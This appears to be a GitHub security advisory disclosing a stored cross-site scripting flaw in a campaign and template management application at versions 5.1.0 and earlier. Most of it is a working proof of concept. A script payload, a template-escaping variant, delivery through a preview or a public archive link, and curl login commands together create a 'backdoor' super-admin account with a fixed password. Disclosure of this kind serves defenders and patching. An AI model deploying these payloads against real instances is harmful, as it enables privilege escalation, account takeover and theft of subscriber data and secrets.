Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting
A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.
The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.
campaigns:manage - Create/edit campaigns
campaigns:get - View campaigns
lists:get_all - Access lists
templates:get - Access templates
Note: These are common permissions for content managers who are not full admins.
<script>
fetch('/api/users', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: '{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>
Safe Function{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}
backdoor / Hacked123http://localhost:9000/archive/{uuid}As lower-privileged user, create campaign with body:
<script>
fetch('/api/users', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
username: 'backdoor',
email: 'backdoor@evil.com',
name: 'Backdoor Admin',
password: 'Hacked123',
type: 'user',
status: 'enabled',
userRoleId: 1,
user_role_id: 1
})
});
</script>
http://localhost:9000/archive/{campaign-uuid}Option A - Preview: - Send campaign to super admin for "review" - Super admin previews → XSS fires
Option B - Archive Link: - Share archive URL with super admin - Super admin visits link → XSS fires automatically
# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
-d "username=backdoor&password=Hacked123" \
-c cookies.txt -L
# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"
[Screenshot 1: Lower-privileged user creating malicious campaign] <img width="1892" height="781" alt="Screenshot 2025-12-27 170259" src="https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b" />
[Screenshot 2: Super admin previewing campaign] <img width="1686" height="709" alt="image" src="https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7" />
[Screenshot 3: Backdoor user successfully created] <img width="1370" height="469" alt="Screenshot 2025-12-27 170413" src="https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2" />
| Action | Possible via XSS | |--------|-----------------| | Create backdoor admin | ✅ Yes | | Export all subscribers | ✅ Yes | | Modify SMTP settings | ✅ Yes | | Delete all campaigns | ✅ Yes | | Access API keys/secrets | ✅ Yes |
| Component | XSS Works? | Method |
|-----------|-----------|--------|
| Campaign body (Raw HTML) | ✅ Yes | Direct <script> tag |
| Campaign body (Template) | ✅ Yes | {{ \ ` \| Safe }}` |
| Template body | ✅ Yes | Both methods |
| Campaign archive | ✅ Yes | Automatic execution on visit |
{
"nvd_published_at": "2026-01-02T21:16:03Z",
"cwe_ids": [
"CWE-79"
],
"github_reviewed_at": "2026-01-02T23:04:15Z",
"severity": "MODERATE",
"github_reviewed": true
}